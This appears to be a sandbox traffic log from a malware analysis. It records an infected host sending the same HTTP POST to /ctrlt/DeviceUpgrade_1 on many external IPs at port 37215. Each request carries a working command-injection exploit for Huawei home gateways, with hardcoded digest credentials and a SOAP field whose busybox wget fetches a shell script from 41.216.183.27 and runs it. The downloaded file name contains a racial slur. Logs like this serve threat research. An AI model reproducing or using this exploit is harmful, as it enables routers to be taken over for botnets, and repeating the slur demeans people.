Feb 19, 2024 18:36:32.267750978 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.126610994 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	56824	94.120.246.208	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.568259001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	56056	31.200.59.235	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.648623943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	40076	31.200.25.130	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.651309013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	57210	31.200.93.247	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.658812046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	54162	31.136.90.72	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.703845978 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.248819113 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.336637974 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod 